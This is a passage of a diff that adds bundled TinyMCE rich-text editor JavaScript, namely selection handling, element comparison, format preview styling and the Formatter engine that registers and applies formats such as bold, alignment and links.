+		},
+
+		/**
+		 * Sets the current selection to the specified DOM element.
+		 *
+		 * @method setNode
+		 * @param {Element} elm Element to set as the contents of the selection.
+		 * @return {Element} Returns the element that got passed in.
+		 * @example
+		 * // Inserts a DOM node at current selection/caret location
+		 * tinymce.activeEditor.selection.setNode(tinymce.activeEditor.dom.create('img', {src: 'some.gif', title: 'some title'}));
+		 */
+		setNode: function(elm) {
+			var self = this;
+
+			self.setContent(self.dom.getOuterHTML(elm));
+
+			return elm;
+		},
+
+		/**
+		 * Returns the currently selected element or the common ancestor element for both start and end of the selection.
+		 *
+		 * @method getNode
+		 * @return {Element} Currently selected element or common ancestor element.
+		 * @example
+		 * // Alerts the currently selected elements node name
+		 * alert(tinymce.activeEditor.selection.getNode().nodeName);
+		 */
+		getNode: function() {
+			var self = this, rng = self.getRng(), elm;
+			var startContainer = rng.startContainer, endContainer = rng.endContainer;
+			var startOffset = rng.startOffset, endOffset = rng.endOffset, root = self.dom.getRoot();
+
+			function skipEmptyTextNodes(node, forwards) {
+				var orig = node;
+
+				while (node && node.nodeType === 3 && node.length === 0) {
+					node = forwards ? node.nextSibling : node.previousSibling;
+				}
+
+				return node || orig;
+			}
+
+			// Range maybe lost after the editor is made visible again
+			if (!rng) {
+				return root;
+			}
+
+			if (rng.setStart) {
+				elm = rng.commonAncestorContainer;
+
+				// Handle selection a image or other control like element such as anchors
+				if (!rng.collapsed) {
+					if (startContainer == endContainer) {
+						if (endOffset - startOffset < 2) {
+							if (startContainer.hasChildNodes()) {
+								elm = startContainer.childNodes[startOffset];
+							}
+						}
+					}
+
+					// If the anchor node is a element instead of a text node then return this element
+					//if (tinymce.isWebKit && sel.anchorNode && sel.anchorNode.nodeType == 1)
+					//	return sel.anchorNode.childNodes[sel.anchorOffset];
+
+					// Handle cases where the selection is immediately wrapped around a node and return that node instead of it's parent.
+					// This happens when you double click an underlined word in FireFox.
+					if (startContainer.nodeType === 3 && endContainer.nodeType === 3) {
+						if (startContainer.length === startOffset) {
+							startContainer = skipEmptyTextNodes(startContainer.nextSibling, true);
+						} else {
+							startContainer = startContainer.parentNode;
+						}
+
+						if (endOffset === 0) {
+							endContainer = skipEmptyTextNodes(endContainer.previousSibling, false);
+						} else {
+							endContainer = endContainer.parentNode;
+						}
+
+						if (startContainer && startContainer === endContainer) {
+							return startContainer;
+						}
+					}
+				}
+
+				if (elm && elm.nodeType == 3) {
+					return elm.parentNode;
+				}
+
+				return elm;
+			}
+
+			elm = rng.item ? rng.item(0) : rng.parentElement();
+
+			// IE 7 might return elements outside the iframe
+			if (elm.ownerDocument !== self.win.document) {
+				elm = root;
+			}
+
+			return elm;
+		},
+
+		getSelectedBlocks: function(startElm, endElm) {
+			var self = this, dom = self.dom, node, root, selectedBlocks = [];
+
+			root = dom.getRoot();
+			startElm = dom.getParent(startElm || self.getStart(), dom.isBlock);
+			endElm = dom.getParent(endElm || self.getEnd(), dom.isBlock);
+
+			if (startElm && startElm != root) {
+				selectedBlocks.push(startElm);
+			}
+
+			if (startElm && endElm && startElm != endElm) {
+				node = startElm;
+
+				var walker = new TreeWalker(startElm, root);
+				while ((node = walker.next()) && node != endElm) {
+					if (dom.isBlock(node)) {
+						selectedBlocks.push(node);
+					}
+				}
+			}
+
+			if (endElm && startElm != endElm && endElm != root) {
+				selectedBlocks.push(endElm);
+			}
+
+			return selectedBlocks;
+		},
+
+		isForward: function() {
+			var dom = this.dom, sel = this.getSel(), anchorRange, focusRange;
+
+			// No support for selection direction then always return true
+			if (!sel || !sel.anchorNode || !sel.focusNode) {
+				return true;
+			}
+
+			anchorRange = dom.createRng();
+			anchorRange.setStart(sel.anchorNode, sel.anchorOffset);
+			anchorRange.collapse(true);
+
+			focusRange = dom.createRng();
+			focusRange.setStart(sel.focusNode, sel.focusOffset);
+			focusRange.collapse(true);
+
+			return anchorRange.compareBoundaryPoints(anchorRange.START_TO_START, focusRange) <= 0;
+		},
+
+		normalize: function() {
+			var self = this, rng = self.getRng();
+
+			if (!isIE && new RangeUtils(self.dom).normalize(rng)) {
+				self.setRng(rng, self.isForward());
+			}
+
+			return rng;
+		},
+
+		/**
+		 * Executes callback of the current selection matches the specified selector or not and passes the state and args to the callback.
+		 *
+		 * @method selectorChanged
+		 * @param {String} selector CSS selector to check for.
+		 * @param {function} callback Callback with state and args when the selector is matches or not.
+		 */
+		selectorChanged: function(selector, callback) {
+			var self = this, currentSelectors;
+
+			if (!self.selectorChangedData) {
+				self.selectorChangedData = {};
+				currentSelectors = {};
+
+				self.editor.on('NodeChange', function(e) {
+					var node = e.element, dom = self.dom, parents = dom.getParents(node, null, dom.getRoot()), matchedSelectors = {};
+
+					// Check for new matching selectors
+					each(self.selectorChangedData, function(callbacks, selector) {
+						each(parents, function(node) {
+							if (dom.is(node, selector)) {
+								if (!currentSelectors[selector]) {
+									// Execute callbacks
+									each(callbacks, function(callback) {
+										callback(true, {node: node, selector: selector, parents: parents});
+									});
+
+									currentSelectors[selector] = callbacks;
+								}
+
+								matchedSelectors[selector] = callbacks;
+								return false;
+							}
+						});
+					});
+
+					// Check if current selectors still match
+					each(currentSelectors, function(callbacks, selector) {
+						if (!matchedSelectors[selector]) {
+							delete currentSelectors[selector];
+
+							each(callbacks, function(callback) {
+								callback(false, {node: node, selector: selector, parents: parents});
+							});
+						}
+					});
+				});
+			}
+
+			// Add selector listeners
+			if (!self.selectorChangedData[selector]) {
+				self.selectorChangedData[selector] = [];
+			}
+
+			self.selectorChangedData[selector].push(callback);
+
+			return self;
+		},
+
+		getScrollContainer: function() {
+			var scrollContainer, node = this.dom.getRoot();
+
+			while (node && node.nodeName != 'BODY') {
+				if (node.scrollHeight > node.clientHeight) {
+					scrollContainer = node;
+					break;
+				}
+
+				node = node.parentNode;
+			}
+
+			return scrollContainer;
+		},
+
+		scrollIntoView: function(elm) {
+			var y, viewPort, self = this, dom = self.dom, root = dom.getRoot(), viewPortY, viewPortH;
+
+			function getPos(elm) {
+				var x = 0, y = 0;
+
+				var offsetParent = elm;
+				while (offsetParent && offsetParent.nodeType) {
+					x += offsetParent.offsetLeft || 0;
+					y += offsetParent.offsetTop || 0;
+					offsetParent = offsetParent.offsetParent;
+				}
+
+				return {x: x, y: y};
+			}
+
+			if (root.nodeName != 'BODY') {
+				var scrollContainer = self.getScrollContainer();
+				if (scrollContainer) {
+					y = getPos(elm).y - getPos(scrollContainer).y;
+					viewPortH = scrollContainer.clientHeight;
+					viewPortY = scrollContainer.scrollTop;
+					if (y < viewPortY || y + 25 > viewPortY + viewPortH) {
+						scrollContainer.scrollTop = y < viewPortY ? y : y - viewPortH + 25;
+					}
+
+					return;
+				}
+			}
+
+			viewPort = dom.getViewPort(self.editor.getWin());
+			y = dom.getPos(elm).y;
+			viewPortY = viewPort.y;
+			viewPortH = viewPort.h;
+			if (y < viewPort.y || y + 25 > viewPortY + viewPortH) {
+				self.editor.getWin().scrollTo(0, y < viewPortY ? y : y - viewPortH + 25);
+			}
+		},
+
+		placeCaretAt: function(clientX, clientY) {
+			var doc = this.editor.getDoc(), rng, point;
+
+			if (doc.caretPositionFromPoint) {
+				point = doc.caretPositionFromPoint(clientX, clientY);
+				rng = doc.createRange();
+				rng.setStart(point.offsetNode, point.offset);
+				rng.collapse(true);
+			} else if (doc.caretRangeFromPoint) {
+				rng = doc.caretRangeFromPoint(clientX, clientY);
+			} else if (doc.body.createTextRange) {
+				rng = doc.body.createTextRange();
+
+				try {
+					rng.moveToPoint(clientX, clientY);
+					rng.collapse(true);
+				} catch (ex) {
+					rng.collapse(clientY < doc.body.clientHeight);
+				}
+			}
+
+			this.setRng(rng);
+		},
+
+		_moveEndPoint: function(rng, node, start) {
+			var root = node, walker = new TreeWalker(node, root);
+			var nonEmptyElementsMap = this.dom.schema.getNonEmptyElements();
+
+			do {
+				// Text node
+				if (node.nodeType == 3 && trim(node.nodeValue).length !== 0) {
+					if (start) {
+						rng.setStart(node, 0);
+					} else {
+						rng.setEnd(node, node.nodeValue.length);
+					}
+
+					return;
+				}
+
+				// BR/IMG/INPUT elements but not table cells
+				if (nonEmptyElementsMap[node.nodeName] && !/^(TD|TH)$/.test(node.nodeName)) {
+					if (start) {
+						rng.setStartBefore(node);
+					} else {
+						if (node.nodeName == 'BR') {
+							rng.setEndBefore(node);
+						} else {
+							rng.setEndAfter(node);
+						}
+					}
+
+					return;
+				}
+
+				// Found empty text block old IE can place the selection inside those
+				if (Env.ie && Env.ie < 11 && this.dom.isBlock(node) && this.dom.isEmpty(node)) {
+					if (start) {
+						rng.setStart(node, 0);
+					} else {
+						rng.setEnd(node, 0);
+					}
+
+					return;
+				}
+			} while ((node = (start ? walker.next() : walker.prev())));
+
+			// Failed to find any text node or other suitable location then move to the root of body
+			if (root.nodeName == 'BODY') {
+				if (start) {
+					rng.setStart(root, 0);
+				} else {
+					rng.setEnd(root, root.childNodes.length);
+				}
+			}
+		},
+
+		destroy: function() {
+			this.win = null;
+			this.controlSelection.destroy();
+		}
+	};
+
+	return Selection;
+});
+
+// Included from: js/tinymce/classes/dom/ElementUtils.js
+
+/**
+ * ElementUtils.js
+ *
+ * Copyright, Moxiecode Systems AB
+ * Released under LGPL License.
+ *
+ * License: http://www.tinymce.com/license
+ * Contributing: http://www.tinymce.com/contributing
+ */
+
+/**
+ * Utility class for various element specific functions.
+ *
+ * @private
+ */
+define("tinymce/dom/ElementUtils", [
+	"tinymce/dom/BookmarkManager",
+	"tinymce/util/Tools"
+], function(BookmarkManager, Tools) {
+	var each = Tools.each;
+
+	function ElementUtils(dom) {
+		/**
+		 * Compares two nodes and checks if it's attributes and styles matches.
+		 * This doesn't compare classes as items since their order is significant.
+		 *
+		 * @method compare
+		 * @param {Node} node1 First node to compare with.
+		 * @param {Node} node2 Second node to compare with.
+		 * @return {boolean} True/false if the nodes are the same or not.
+		 */
+		this.compare = function(node1, node2) {
+			// Not the same name
+			if (node1.nodeName != node2.nodeName) {
+				return false;
+			}
+
+			/**
+			 * Returns all the nodes attributes excluding internal ones, styles and classes.
+			 *
+			 * @private
+			 * @param {Node} node Node to get attributes from.
+			 * @return {Object} Name/value object with attributes and attribute values.
+			 */
+			function getAttribs(node) {
+				var attribs = {};
+
+				each(dom.getAttribs(node), function(attr) {
+					var name = attr.nodeName.toLowerCase();
+
+					// Don't compare internal attributes or style
+					if (name.indexOf('_') !== 0 && name !== 'style' && name !== 'data-mce-style') {
+						attribs[name] = dom.getAttrib(node, name);
+					}
+				});
+
+				return attribs;
+			}
+
+			/**
+			 * Compares two objects checks if it's key + value exists in the other one.
+			 *
+			 * @private
+			 * @param {Object} obj1 First object to compare.
+			 * @param {Object} obj2 Second object to compare.
+			 * @return {boolean} True/false if the objects matches or not.
+			 */
+			function compareObjects(obj1, obj2) {
+				var value, name;
+
+				for (name in obj1) {
+					// Obj1 has item obj2 doesn't have
+					if (obj1.hasOwnProperty(name)) {
+						value = obj2[name];
+
+						// Obj2 doesn't have obj1 item
+						if (typeof value == "undefined") {
+							return false;
+						}
+
+						// Obj2 item has a different value
+						if (obj1[name] != value) {
+							return false;
+						}
+
+						// Delete similar value
+						delete obj2[name];
+					}
+				}
+
+				// Check if obj 2 has something obj 1 doesn't have
+				for (name in obj2) {
+					// Obj2 has item obj1 doesn't have
+					if (obj2.hasOwnProperty(name)) {
+						return false;
+					}
+				}
+
+				return true;
+			}
+
+			// Attribs are not the same
+			if (!compareObjects(getAttribs(node1), getAttribs(node2))) {
+				return false;
+			}
+
+			// Styles are not the same
+			if (!compareObjects(dom.parseStyle(dom.getAttrib(node1, 'style')), dom.parseStyle(dom.getAttrib(node2, 'style')))) {
+				return false;
+			}
+
+			return !BookmarkManager.isBookmarkNode(node1) && !BookmarkManager.isBookmarkNode(node2);
+		};
+	}
+
+	return ElementUtils;
+});
+
+// Included from: js/tinymce/classes/fmt/Preview.js
+
+/**
+ * Preview.js
+ *
+ * Copyright, Moxiecode Systems AB
+ * Released under LGPL License.
+ *
+ * License: http://www.tinymce.com/license
+ * Contributing: http://www.tinymce.com/contributing
+ */
+
+/**
+ * Internal class for generating previews styles for formats.
+ *
+ * Example:
+ *  Preview.getCssText(editor, 'bold');
+ *
+ * @class tinymce.fmt.Preview
+ * @private
+ */
+define("tinymce/fmt/Preview", [
+	"tinymce/util/Tools"
+], function(Tools) {
+	var each = Tools.each;
+
+	function getCssText(editor, format) {
+		var name, previewElm, dom = editor.dom;
+		var previewCss = '', parentFontSize, previewStyles;
+
+		previewStyles = editor.settings.preview_styles;
+
+		// No preview forced
+		if (previewStyles === false) {
+			return '';
+		}
+
+		// Default preview
+		if (!previewStyles) {
+			previewStyles = 'font-family font-size font-weight font-style text-decoration ' +
+				'text-transform color background-color border border-radius outline text-shadow';
+		}
+
+		// Removes any variables since these can't be previewed
+		function removeVars(val) {
+			return val.replace(/%(\w+)/g, '');
+		}
+
+		// Create block/inline element to use for preview
+		if (typeof(format) == "string") {
+			format = editor.formatter.get(format);
+			if (!format) {
+				return;
+			}
+
+			format = format[0];
+		}
+
+		name = format.block || format.inline || 'span';
+		previewElm = dom.create(name);
+
+		// Add format styles to preview element
+		each(format.styles, function(value, name) {
+			value = removeVars(value);
+
+			if (value) {
+				dom.setStyle(previewElm, name, value);
+			}
+		});
+
+		// Add attributes to preview element
+		each(format.attributes, function(value, name) {
+			value = removeVars(value);
+
+			if (value) {
+				dom.setAttrib(previewElm, name, value);
+			}
+		});
+
+		// Add classes to preview element
+		each(format.classes, function(value) {
+			value = removeVars(value);
+
+			if (!dom.hasClass(previewElm, value)) {
+				dom.addClass(previewElm, value);
+			}
+		});
+
+		editor.fire('PreviewFormats');
+
+		// Add the previewElm outside the visual area
+		dom.setStyles(previewElm, {position: 'absolute', left: -0xFFFF});
+		editor.getBody().appendChild(previewElm);
+
+		// Get parent container font size so we can compute px values out of em/% for older IE:s
+		parentFontSize = dom.getStyle(editor.getBody(), 'fontSize', true);
+		parentFontSize = /px$/.test(parentFontSize) ? parseInt(parentFontSize, 10) : 0;
+
+		each(previewStyles.split(' '), function(name) {
+			var value = dom.getStyle(previewElm, name, true);
+
+			// If background is transparent then check if the body has a background color we can use
+			if (name == 'background-color' && /transparent|rgba\s*\([^)]+,\s*0\)/.test(value)) {
+				value = dom.getStyle(editor.getBody(), name, true);
+
+				// Ignore white since it's the default color, not the nicest fix
+				// TODO: Fix this by detecting runtime style
+				if (dom.toHex(value).toLowerCase() == '#ffffff') {
+					return;
+				}
+			}
+
+			if (name == 'color') {
+				// Ignore black since it's the default color, not the nicest fix
+				// TODO: Fix this by detecting runtime style
+				if (dom.toHex(value).toLowerCase() == '#000000') {
+					return;
+				}
+			}
+
+			// Old IE won't calculate the font size so we need to do that manually
+			if (name == 'font-size') {
+				if (/em|%$/.test(value)) {
+					if (parentFontSize === 0) {
+						return;
+					}
+
+					// Convert font size from em/% to px
+					value = parseFloat(value, 10) / (/%$/.test(value) ? 100 : 1);
+					value = (value * parentFontSize) + 'px';
+				}
+			}
+
+			if (name == "border" && value) {
+				previewCss += 'padding:0 2px;';
+			}
+
+			previewCss += name + ':' + value + ';';
+		});
+
+		editor.fire('AfterPreviewFormats');
+
+		//previewCss += 'line-height:normal';
+
+		dom.remove(previewElm);
+
+		return previewCss;
+	}
+
+	return {
+		getCssText: getCssText
+	};
+});
+
+// Included from: js/tinymce/classes/Formatter.js
+
+/**
+ * Formatter.js
+ *
+ * Copyright, Moxiecode Systems AB
+ * Released under LGPL License.
+ *
+ * License: http://www.tinymce.com/license
+ * Contributing: http://www.tinymce.com/contributing
+ */
+
+/**
+ * Text formatter engine class. This class is used to apply formats like bold, italic, font size
+ * etc to the current selection or specific nodes. This engine was build to replace the browsers
+ * default formatting logic for execCommand due to it's inconsistent and buggy behavior.
+ *
+ * @class tinymce.Formatter
+ * @example
+ *  tinymce.activeEditor.formatter.register('mycustomformat', {
+ *    inline: 'span',
+ *    styles: {color: '#ff0000'}
+ *  });
+ *
+ *  tinymce.activeEditor.formatter.apply('mycustomformat');
+ */
+define("tinymce/Formatter", [
+	"tinymce/dom/TreeWalker",
+	"tinymce/dom/RangeUtils",
+	"tinymce/dom/BookmarkManager",
+	"tinymce/dom/ElementUtils",
+	"tinymce/util/Tools",
+	"tinymce/fmt/Preview"
+], function(TreeWalker, RangeUtils, BookmarkManager, ElementUtils, Tools, Preview) {
+	/**
+	 * Constructs a new formatter instance.
+	 *
+	 * @constructor Formatter
+	 * @param {tinymce.Editor} ed Editor instance to construct the formatter engine to.
+	 */
+	return function(ed) {
+		var formats = {},
+			dom = ed.dom,
+			selection = ed.selection,
+			rangeUtils = new RangeUtils(dom),
+			isValid = ed.schema.isValidChild,
+			isBlock = dom.isBlock,
+			forcedRootBlock = ed.settings.forced_root_block,
+			nodeIndex = dom.nodeIndex,
+			INVISIBLE_CHAR = '\uFEFF',
+			MCE_ATTR_RE = /^(src|href|style)$/,
+			FALSE = false,
+			TRUE = true,
+			formatChangeData,
+			undef,
+			getContentEditable = dom.getContentEditable,
+			disableCaretContainer,
+			markCaretContainersBogus,
+			isBookmarkNode = BookmarkManager.isBookmarkNode;
+
+		var each = Tools.each,
+			grep = Tools.grep,
+			walk = Tools.walk,
+			extend = Tools.extend;
+
+		function isTextBlock(name) {
+			if (name.nodeType) {
+				name = name.nodeName;
+			}
+
+			return !!ed.schema.getTextBlockElements()[name.toLowerCase()];
+		}
+
+		function getParents(node, selector) {
+			return dom.getParents(node, selector, dom.getRoot());
+		}
+
+		function isCaretNode(node) {
+			return node.nodeType === 1 && node.id === '_mce_caret';
+		}
+
+		function defaultFormats() {
+			register({
+				valigntop: [
+					{selector: 'td,th', styles: {'verticalAlign': 'top'}}
+				],
+
+				valignmiddle: [
+					{selector: 'td,th', styles: {'verticalAlign': 'middle'}}
+				],
+
+				valignbottom: [
+					{selector: 'td,th', styles: {'verticalAlign': 'bottom'}}
+				],
+
+				alignleft: [
+					{selector: 'figure,p,h1,h2,h3,h4,h5,h6,td,th,tr,div,ul,ol,li', styles: {textAlign: 'left'}, defaultBlock: 'div'},
+					{selector: 'img,table', collapsed: false, styles: {'float': 'left'}}
+				],
+
+				aligncenter: [
+					{selector: 'figure,p,h1,h2,h3,h4,h5,h6,td,th,tr,div,ul,ol,li', styles: {textAlign: 'center'}, defaultBlock: 'div'},
+					{selector: 'img', collapsed: false, styles: {display: 'block', marginLeft: 'auto', marginRight: 'auto'}},
+					{selector: 'table', collapsed: false, styles: {marginLeft: 'auto', marginRight: 'auto'}}
+				],
+
+				alignright: [
+					{selector: 'figure,p,h1,h2,h3,h4,h5,h6,td,th,tr,div,ul,ol,li', styles: {textAlign: 'right'}, defaultBlock: 'div'},
+					{selector: 'img,table', collapsed: false, styles: {'float': 'right'}}
+				],
+
+				alignjustify: [
+					{selector: 'figure,p,h1,h2,h3,h4,h5,h6,td,th,tr,div,ul,ol,li', styles: {textAlign: 'justify'}, defaultBlock: 'div'}
+				],
+
+				bold: [
+					{inline: 'strong', remove: 'all'},
+					{inline: 'span', styles: {fontWeight: 'bold'}},
+					{inline: 'b', remove: 'all'}
+				],
+
+				italic: [
+					{inline: 'em', remove: 'all'},
+					{inline: 'span', styles: {fontStyle: 'italic'}},
+					{inline: 'i', remove: 'all'}
+				],
+
+				underline: [
+					{inline: 'span', styles: {textDecoration: 'underline'}, exact: true},
+					{inline: 'u', remove: 'all'}
+				],
+
+				strikethrough: [
+					{inline: 'span', styles: {textDecoration: 'line-through'}, exact: true},
+					{inline: 'strike', remove: 'all'}
+				],
+
+				forecolor: {inline: 'span', styles: {color: '%value'}, links: true, remove_similar: true},
+				hilitecolor: {inline: 'span', styles: {backgroundColor: '%value'}, links: true, remove_similar: true},
+				fontname: {inline: 'span', styles: {fontFamily: '%value'}},
+				fontsize: {inline: 'span', styles: {fontSize: '%value'}},
+				fontsize_class: {inline: 'span', attributes: {'class': '%value'}},
+				blockquote: {block: 'blockquote', wrapper: 1, remove: 'all'},
+				subscript: {inline: 'sub'},
+				superscript: {inline: 'sup'},
+				code: {inline: 'code'},
+
+				link: {inline: 'a', selector: 'a', remove: 'all', split: true, deep: true,
+					onmatch: function() {
+						return true;
+					},
+
+					onformat: function(elm, fmt, vars) {
+						each(vars, function(value, key) {
+							dom.setAttrib(elm, key, value);
+						});
+					}
+				},
+
+				removeformat: [
+					{
+						selector: 'b,strong,em,i,font,u,strike,sub,sup,dfn,code,samp,kbd,var,cite,mark,q',
+						remove: 'all',
+						split: true,
+						expand: false,
+						block_expand: true,
+						deep: true
+					},
+					{selector: 'span', attributes: ['style', 'class'], remove: 'empty', split: true, expand: false, deep: true},
+					{selector: '*', attributes: ['style', 'class'], split: false, expand: false, deep: true}
+				]
+			});
+
+			// Register default block formats
+			each('p h1 h2 h3 h4 h5 h6 div address pre div dt dd samp'.split(/\s/), function(name) {
+				register(name, {block: name, remove: 'all'});
+			});
+
+			// Register user defined formats
+			register(ed.settings.formats);
+		}
+
+		function addKeyboardShortcuts() {
+			// Add some inline shortcuts
+			ed.addShortcut('ctrl+b', 'bold_desc', 'Bold');
+			ed.addShortcut('ctrl+i', 'italic_desc', 'Italic');
+			ed.addShortcut('ctrl+u', 'underline_desc', 'Underline');
+
+			// BlockFormat shortcuts keys
+			for (var i = 1; i <= 6; i++) {
+				ed.addShortcut('ctrl+' + i, '', ['FormatBlock', false, 'h' + i]);
+			}
+
+			ed.addShortcut('ctrl+7', '', ['FormatBlock', false, 'p']);
+			ed.addShortcut('ctrl+8', '', ['FormatBlock', false, 'div']);
+			ed.addShortcut('ctrl+9', '', ['FormatBlock', false, 'address']);
+		}
+
+		// Public functions
+
+		/**
+		 * Returns the format by name or all formats if no name is specified.
+		 *
+		 * @method get
+		 * @param {String} name Optional name to retrive by.
+		 * @return {Array/Object} Array/Object with all registred formats or a specific format.
+		 */
+		function get(name) {
+			return name ? formats[name] : formats;
+		}
+
+		/**
+		 * Registers a specific format by name.
+		 *
+		 * @method register
+		 * @param {Object/String} name Name of the format for example "bold".
+		 * @param {Object/Array} format Optional format object or array of format variants
+		 * can only be omitted if the first arg is an object.
+		 */
+		function register(name, format) {
+			if (name) {
+				if (typeof(name) !== 'string') {
+					each(name, function(format, name) {
+						register(name, format);
+					});
+				} else {
+					// Force format into array and add it to internal collection
+					format = format.length ? format : [format];
+
+					each(format, function(format) {
+						// Set deep to false by default on selector formats this to avoid removing
+						// alignment on images inside paragraphs when alignment is changed on paragraphs
+						if (format.deep === undef) {
+							format.deep = !format.selector;
+						}
+
+						// Default to true
+						if (format.split === undef) {
+							format.split = !format.selector || format.inline;
+						}
+
+						// Default to true
+						if (format.remove === undef && format.selector && !format.inline) {
+							format.remove = 'none';
+						}
+
+						// Mark format as a mixed format inline + block level
+						if (format.selector && format.inline) {
+							format.mixed = true;
+							format.block_expand = true;
+						}
+
+						// Split classes if needed
+						if (typeof(format.classes) === 'string') {
+							format.classes = format.classes.split(/\s+/);
+						}
+					});
+
+					formats[name] = format;
+				}
+			}
+		}
+
+		/**
+		 * Unregister a specific format by name.
+		 *
+		 * @method unregister
+		 * @param {String} name Name of the format for example "bold".
+		 */
+		function unregister(name) {
+			if (name && formats[name]) {
+				delete formats[name];
+			}
+
+			return formats;
+		}
+
+		function getTextDecoration(node) {
+			var decoration;
+
+			ed.dom.getParent(node, function(n) {
+				decoration = ed.dom.getStyle(n, 'text-decoration');
+				return decoration && decoration !== 'none';
+			});
+
+			return decoration;
+		}
+
+		function processUnderlineAndColor(node) {
+			var textDecoration;
+			if (node.nodeType === 1 && node.parentNode && node.parentNode.nodeType === 1) {
+				textDecoration = getTextDecoration(node.parentNode);
+				if (ed.dom.getStyle(node, 'color') && textDecoration) {
+					ed.dom.setStyle(node, 'text-decoration', textDecoration);
+				} else if (ed.dom.getStyle(node, 'textdecoration') === textDecoration) {
+					ed.dom.setStyle(node, 'text-decoration', null);
+				}
+			}
+		}
+
+		/**
+		 * Applies the specified format to the current selection or specified node.
+		 *
+		 * @method apply
+		 * @param {String} name Name of format to apply.
+		 * @param {Object} vars Optional list of variables to replace within format before applying it.
+		 * @param {Node} node Optional node to apply the format to defaults to current selection.
+		 */
+		function apply(name, vars, node) {
+			var formatList = get(name), format = formatList[0], bookmark, rng, isCollapsed = !node && selection.isCollapsed();
+
+			function setElementFormat(elm, fmt) {
+				fmt = fmt || format;
+
+				if (elm) {
+					if (fmt.onformat) {
+						fmt.onformat(elm, fmt, vars, node);
+					}
+
+					each(fmt.styles, function(value, name) {
+						dom.setStyle(elm, name, replaceVars(value, vars));
+					});
+
+					// Needed for the WebKit span spam bug
+					// TODO: Remove this once WebKit/Blink fixes this
+					if (fmt.styles) {
+						var styleVal = dom.getAttrib(elm, 'style');
+
+						if (styleVal) {
+							elm.setAttribute('data-mce-style', styleVal);
+						}
+					}
+
+					each(fmt.attributes, function(value, name) {
+						dom.setAttrib(elm, name, replaceVars(value, vars));
+					});
+
+					each(fmt.classes, function(value) {
+						value = replaceVars(value, vars);
+
+						if (!dom.hasClass(elm, value)) {
+							dom.addClass(elm, value);
+						}
+					});
+				}
+			}
+
+			function adjustSelectionToVisibleSelection() {
+				function findSelectionEnd(start, end) {
+					var walker = new TreeWalker(end);
+					for (node = walker.current(); node; node = walker.prev()) {
+						if (node.childNodes.length > 1 || node == start || node.tagName == 'BR') {
+							return node;
+						}
+					}
+				}
+
+				// Adjust selection so that a end container with a end offset of zero is not included in the selection
+				// as this isn't visible to the user.
+				var rng = ed.selection.getRng();
+				var start = rng.startContainer;
+				var end = rng.endContainer;
+
+				if (start != end && rng.endOffset === 0) {
+					var newEnd = findSelectionEnd(start, end);
+					var endOffset = newEnd.nodeType == 3 ? newEnd.length : newEnd.childNodes.length;
+
+					rng.setEnd(newEnd, endOffset);
+				}
+
+				return rng;
+			}
+
+			function applyRngStyle(rng, bookmark, node_specific) {
+				var newWrappers = [], wrapName, wrapElm, contentEditable = true;
+
+				// Setup wrapper element
+				wrapName = format.inline || format.block;
+				wrapElm = dom.create(wrapName);
+				setElementFormat(wrapElm);
+
+				rangeUtils.walk(rng, function(nodes) {
+					var currentWrapElm;
+
+					/**
+					 * Process a list of nodes wrap them.
+					 */
+					function process(node) {
+						var nodeName, parentName, found, hasContentEditableState, lastContentEditable;
+
+						lastContentEditable = contentEditable;
+						nodeName = node.nodeName.toLowerCase();
+						parentName = node.parentNode.nodeName.toLowerCase();
+
+						// Node has a contentEditable value
+						if (node.nodeType === 1 && getContentEditable(node)) {
+							lastContentEditable = contentEditable;
+							contentEditable = getContentEditable(node) === "true";
+							hasContentEditableState = true; // We don't want to wrap the container only it's children
+						}
+
+						// Stop wrapping on br elements
+						if (isEq(nodeName, 'br')) {
+							currentWrapElm = 0;
+
+							// Remove any br elements when we wrap things
+							if (format.block) {
+								dom.remove(node);
+							}
+
+							return;
+						}
+
+						// If node is wrapper type
+						if (format.wrapper && matchNode(node, name, vars)) {
+							currentWrapElm = 0;
+							return;
+						}
+
+						// Can we rename the block
+						// TODO: Break this if up, too complex
+						if (contentEditable && !hasContentEditableState && format.block &&
+							!format.wrapper && isTextBlock(nodeName) && isValid(parentName, wrapName)) {
+							node = dom.rename(node, wrapName);
+							setElementFormat(node);
+							newWrappers.push(node);
+							currentWrapElm = 0;
+							return;
+						}
+
+						// Handle selector patterns
+						if (format.selector) {
+							// Look for matching formats
+							each(formatList, function(format) {
+								// Check collapsed state if it exists
+								if ('collapsed' in format && format.collapsed !== isCollapsed) {
+									return;
+								}
+
+								if (dom.is(node, format.selector) && !isCaretNode(node)) {
+									setElementFormat(node, format);
+									found = true;
+								}
+							});
+
+							// Continue processing if a selector match wasn't found and a inline element is defined
+							if (!format.inline || found) {
+								currentWrapElm = 0;
+								return;
+							}
+						}
+
+						// Is it valid to wrap this item
+						// TODO: Break this if up, too complex
+						if (contentEditable && !hasContentEditableState && isValid(wrapName, nodeName) && isValid(parentName, wrapName) &&
+								!(!node_specific && node.nodeType === 3 &&
+								node.nodeValue.length === 1 &&
+								node.nodeValue.charCodeAt(0) === 65279) &&
+								!isCaretNode(node) &&
+								(!format.inline || !isBlock(node))) {
+							// Start wrapping
+							if (!currentWrapElm) {
+								// Wrap the node
+								currentWrapElm = dom.clone(wrapElm, FALSE);
+								node.parentNode.insertBefore(currentWrapElm, node);
+								newWrappers.push(currentWrapElm);
+							}
+
+							currentWrapElm.appendChild(node);
+						} else {
+							// Start a new wrapper for possible children
+							currentWrapElm = 0;
+
+							each(grep(node.childNodes), process);
+
+							if (hasContentEditableState) {
+								contentEditable = lastContentEditable; // Restore last contentEditable state from stack
+							}
+
+							// End the last wrapper
+							currentWrapElm = 0;
+						}
+					}
+
+					// Process siblings from range
+					each(nodes, process);
+				});
+
+				// Apply formats to links as well to get the color of the underline to change as well
+				if (format.links === true) {
+					each(newWrappers, function(node) {
+						function process(node) {
+							if (node.nodeName === 'A') {
+								setElementFormat(node, format);
+							}
+
+							each(grep(node.childNodes), process);
+						}
+
+						process(node);
+					});
+				}
+
+				// Cleanup
+				each(newWrappers, function(node) {
+					var childCount;
+
+					function getChildCount(node) {
+						var count = 0;
+
+						each(node.childNodes, function(node) {
+							if (!isWhiteSpaceNode(node) && !isBookmarkNode(node)) {
+								count++;
+							}
+						});
+
+						return count;
+					}
+
+					function mergeStyles(node) {
+						var child, clone;
+
+						each(node.childNodes, function(node) {
+							if (node.nodeType == 1 && !isBookmarkNode(node) && !isCaretNode(node)) {
+								child = node;
+								return FALSE; // break loop
+							}
+						});
+
+						// If child was found and of the same type as the current node
+						if (child && !isBookmarkNode(child) && matchName(child, format)) {
+							clone = dom.clone(child, FALSE);
+							setElementFormat(clone);
+
+							dom.replace(clone, node, TRUE);
+							dom.remove(child, 1);
+						}
+
+						return clone || node;
+					}
+
